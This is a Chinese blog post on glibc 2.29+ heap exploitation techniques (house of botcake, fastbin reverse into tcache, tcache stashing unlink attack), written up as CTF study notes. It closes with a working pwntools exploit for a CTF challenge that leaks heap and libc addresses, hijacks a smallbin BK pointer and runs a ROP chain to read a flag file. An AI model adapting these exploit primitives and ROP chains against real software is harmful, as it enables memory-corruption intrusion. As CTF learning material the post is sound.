MENU

glibc2.29及以上版本的利用

January 10, 2021 • Read: 751 • Pwn

House of botcake

由于tcache加入了key值来进行double free检测,以至于在旧版本时的直接进行double free变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是house of botcake,他的本质也是通过UAF来达到绕过的目的。

利用条件

1.glibc > 2.25(有tcache)

2.可以double free

利用过程

1.把指定size的tcache填充满。

2.填充满后,再次free就可以进入到unsorted bin,这里free两个相邻的chunk(prev chunk利用堆块a,要与top chunk隔开),接着会触发合并。

3.取出tcache中的一个堆块,再把利用chunk afree进入tcache。

4.申请一个tcache不存在的size,这时候就会从unsorted bin中取出,我们只需要保证申请的size可以包括到利用堆块a即可。

5.利用4中申请的chunk进行其他操作..

利用理解

1.利用的本质是什么?

利用的本质是让chunk在unsorted bintcache中同时存在,从而造成UAF可以修改key的内容。

2.为什么要让unsorted bin中的堆块合并?

合并的目的是让unsorted bin中的堆块size变大。

我们知道在malloc的时候会优先去tcache中取出内容,但能取出的前提是tcache中的size和申请的size相等。所以我们需要用不同与原来的size进行申请,才能从unsorted bin中取出。

当然还有一种方法是,把tcache中这个size的全部chunk都拿出来,接下来就能申请到unsorted bin中的这个chunk。

所以如果要考察house of botcake那么一般会对申请次数做一个限制,否则使用这个方法意义不大。

总结

其实这种方法只能算是一个小技巧,我认为不应该是一个house of系列中的一员。但它的确绕过了tcache中的限制,也算是有实际意义吧。

EXP:https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c

fastbin reverse into tcache

由于glibc2.29在unsorted bin遍历的时候加入了新的检测,以至于无法进行unsorted bin attack,这也同时对largebin attack造成了一定程度上的伤害,由于检测无法篡改BK,largebin attack从原来写两个堆地址转变成了只能写一个堆地址。

这里要解决的问题是,在程序无法申请largebin大小的size的情况下,如何任意写一个堆地址。

利用条件

1.glibc > 2.25(有tcache)

2.UAF

原理分析

1.我们知道在开启tcache机制的版本中,申请fastbin chunk过程中堆管理器发现此size的fastbin中任有其他堆块(同size的fastbin中有两个及其以上的堆块)。那么就会把需要的取出返回给用户,其余的全部都放入到空闲的tcache(直到填满tcache该size的fastbin为空停止)

/* While we're here, if we see other chunks of the same size,
 stash them in the tcache.  */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
    mchunkptr tc_victim;
    /* While bin not empty and tcache not full, copy chunks.  */
    while (tcache->counts[tc_idx] < mp_.tcache_count
         && (tc_victim = *fb) != NULL)
    {
        if (SINGLE_THREAD_P)
            *fb = tc_victim->fd;
        else
        {
            REMOVE_FB (fb, pp, tc_victim);
            if (__glibc_unlikely (tc_victim == NULL))
                break;
        }
        tcache_put (tc_victim, tc_idx);
    }
}

2.在把剩余chunk放入tcache的过程中相当于把fastbin逆序了。也就是fastbin中的链表尾部成为了tcache中的链表头部,fastbin中的链表头部成为了tcache中的链表尾部。
3.我们可以借助这个过程,伪造可控的fastbin堆块ptr的FD为target(利用UAF),最终在放入tcache的时候会修改

target->fd = ptr

这里的ptr也就是我们写入的堆块地址。

利用过程

1.我们需要先把tcache填充满,这样再free的时候才会进入到fastbin中。

2.我们分别free两个chunk(a 和 b),使其进入到fastbin中。

2.我们利用UAF漏洞来修改a的fd,使其指向target - 0x10。这样我们就伪造了链表中多出的一项。(但是原来的target位置的内容最好为NULL,否则又会指向下一层)

3.清空tcache(全部取出),接下来再申请就会申请到b堆块。tcache检测到fastbin堆块中还有其他内容(a堆块以及target - 0x10),所以会把fastbin堆块的链表reverse_into到tcache中。

4.这个过程中

(target - 0x10) -> next = a 即 *target = a

5.同时tcache也有了targeta

利用理解

1.为什么可以UAF还要这些操作?

UAF可以有很多不同的表现,当我们无法直接利用tcache的时候(使用calloc申请堆块的时候不会从tcache中取出、UAF无法覆盖到key的值等等...)

这时候我们可能由于size的限制(不能申请0x68等原因),无法利用fastbin进行攻击(fastbin有size检测),那么就可以利用这个方法来写一个堆地址。

2.可以提供一些意外解(待实践)

例如用这个方法来打_IO_list_all(由于_IO_list_all本来是有值的,目前不清楚会不会写到一些无法访问内容的地址,但可以确定的是应该可以用类似tcache stashing unlink attack的方法来防止接着访问),就可以做到在限制了size的情况下(无法使用largebin attackunsorted bin attack),在libc-2.27下利用IO_FILE来getshell。

总结

这个方法和接下来的tcache stashing unlink attack实际上是比较类似的,但是这里的好处是不需要用calloc,接下来的方法中,需要用calloc的原因是需要控制tcache中的size,让攻击发生后及时停止遍历(否则就会访问到无效地址),但是这个方法是访问到NULL停止,所以不需要控制tcache的size。

这个利用方法应该更多的是为其他方法提供辅助作用,我对其的了解还不够深刻,期待各位师傅在此之上出题。

tcache stashing unlink attack

这个技巧是在2019年由Angelboy在HITCON CTF当中提出的。

一直想要学习的一直攻击方法,在上次V&N面试的时候就被问到了,但是我一直没有搞懂他的原理。等考完试就来好好学习一下吧

考完啦!高数比想象的要简单,感觉厉害的人都能满分吧。(当然不是我)

利用条件

1.glibc > 2.25(有tcache)

2.UAF

3.用calloc申请

攻击目标

1.如果有calloc函数,可以对任意地址写一个main_arena上的一个地址(大数字),可以考虑在glibc2.29及其以上用于取代unsorted bin attack。(BUUOJ-2020 新春红包题-3)

2.如果还有malloc函数,那么可以利用这个操作来申请到目标地址。(2020-XCTF-高校战疫赛 two_chunk)

原理分析

在申请一块一块从smallbin中取出的chunk的情况下,若tcache没有满且smallbin有其他内容的情况下,会把剩余的全部堆块放入到tcache中。

在这个插入的过程中,会从最后一块开始遍历,根据BK依次往前找chunk,直到重新遍历到main_arena再停止。如果我们可以修改其中一块堆块的BK,修改成target - 0x10,那么在遍历的过程中通过如下代码的bck->fd = bin;这条语句就可以对(target - 0x10) -> fd进行修改,修改的值结果是bin,bin是main_arena上的一个位置。

/* While we're here, if we see other chunks of the same size,
 stash them in the tcache.  */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
    mchunkptr tc_victim;
    /* While bin not empty and tcache not full, copy chunks over.  */
    while (tcache->counts[tc_idx] < mp_.tcache_count
         && (tc_victim = last (bin)) != bin)
    {
        if (tc_victim != 0)
        {
            bck = tc_victim->bk;
            set_inuse_bit_at_offset (tc_victim, nb);
            if (av != &main_arena)
                set_non_main_arena (tc_victim);
            bin->bk = bck;
            bck->fd = bin;
            tcache_put (tc_victim, tc_idx);
        }
    }
}

但是我们需要对tcache中已有的数量做一个构造,构造成正好只能再插入一个来自smallbin中的chunk。
原因是:在正常的遍历过程中,判断指针是否重新回到main_arena上的一个位置来确定是否遍历结束。(因为遍历的是双向循环链表),但是如果这个链表的BK被我们所修改成目标地址,那么这个遍历就不能正常的结束了,所以我们要在程序访问到不可访问的地址前,让他从循环中跳出来。也就是控制下面这一行语句为false

tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin

第二行的条件是比较难控制的(如果能控制那不是就已经有了目标地址的控制权限了?)
所以利用第一行的方法来停止遍历,也就是控制插入时的tcache->counts。

但是在一般情况下,我们优先从tcache取出size,直到tcache取完了才会到smallbin中取,这就与我们要控制counts而矛盾了。

这时候就可以想到另一个也可以申请chunk的函数——calloc

这个函数在申请的过程中,会绕过tcache进行申请,所以就可以满足我们需要构造的条件了(控制counts)。

例题:BUUOJ-2020 新春红包题-3

题目分析:可以看参考链接1里面的内容,写的相当好。

EXP

from pwn import *
r = process('./black_watch')
#r = remote('node3.buuoj.cn', 26210)
context.arch = "amd64"
context.log_level = "debug"
def choice(idx):
    r.sendlineafter("Your input: ", str(idx))
def add(idx, size, content = 'a'):
    choice(1)
    r.sendlineafter("idx: ", str(idx))
    t = 1
    if size == 0xf0:
        t = 2
    elif size == 0x300:
        t = 3
    elif size == 0x400:
        t = 4
    r.sendlineafter(":", str(t))
    r.sendafter("content:", content)
def free(idx):
    choice(2)
    r.sendlineafter("idx: ", str(idx))
def edit(idx, content):
    choice(3)
    r.sendlineafter("idx: ", str(idx))
    r.sendafter("content: ", content)
def show(idx):
    choice(4)
    r.sendlineafter("idx: ", str(idx))
#leak heapbase
add(0, 0xf0)
add(1, 0xf0)
free(1)
add(1, 0xf0)
free(0)
show(0)
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x1370
log.success("heap_base: " + hex(heap_base))
#Fill tcache
for i in range(7):
    add(i, 0x400)
for i in range(7):
    free(i)
#2 + 4 = 6
for i in range(4):
    add(i, 0xf0)
for i in range(4):
    free(i)
#leak libc & unsorted bin into smallbin
add(0, 0x400)
add(2, 0x10)
add(1, 0x400) #0x100 convert into smallbin
add(2, 0x10)
free(0)
show(0)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96
log.success("main_arena_addr: " + hex(main_arena_addr))
libc_base = main_arena_addr - 0x1e4c40
log.success("libc_base: " + hex(libc_base))
add(2, 0x300)
free(1)
add(2, 0x300)
add(2, 0x400) #0x100 convert into smallbin
#hijack BK
edit(1, '\x00' * 0x308 + p64(0x101) + p64(heap_base + 0x38e0) + p64(heap_base + 0x250 + 0x800))
#trigger the attack
add(0, 0xf0)
pivot_addr = libc_base + 0x0000000000058373
pop_rax_addr = libc_base + 0x0000000000047cf8
pop_rdi_addr = libc_base + 0x0000000000026542
pop_rsi_addr = libc_base + 0x0000000000026f9e
pop_rdx_addr = libc_base + 0x000000000012bda6
syscall_addr = libc_base + 0x00000000000cf6c5
chunk_addr = heap_base + 0x4250
ROP_chain = [
    pop_rax_addr,
    2,
    pop_rdi_addr,
    chunk_addr,
    pop_rsi_addr,
    0,
    syscall_addr,
    pop_rax_addr,
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    chunk_addr,
    pop_rdx_addr,
    0x50,
    syscall_addr,
    pop_rax_addr,
    1,
    pop_rdi_addr,
    1,
    syscall_addr
]
add(0, 0x400, 'flag.txt\x00'.ljust(0x20, '\x00') + flat(ROP_chain))
choice(666)
r.sendlineafter("What do you want to say?", 'a' * 0x80 + p64(heap_base + 0x4250 + 0x20 - 0x8) + p64(pivot_addr))
r.interactive()

参考

ERROR404 - Tcache Stashing Unlink Attack利用思路:https://www.anquanke.com/post/id/198173

hitcon-ctf-2019(fq):https://medium.com/@kteCV2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312

Last Modified: June 1, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code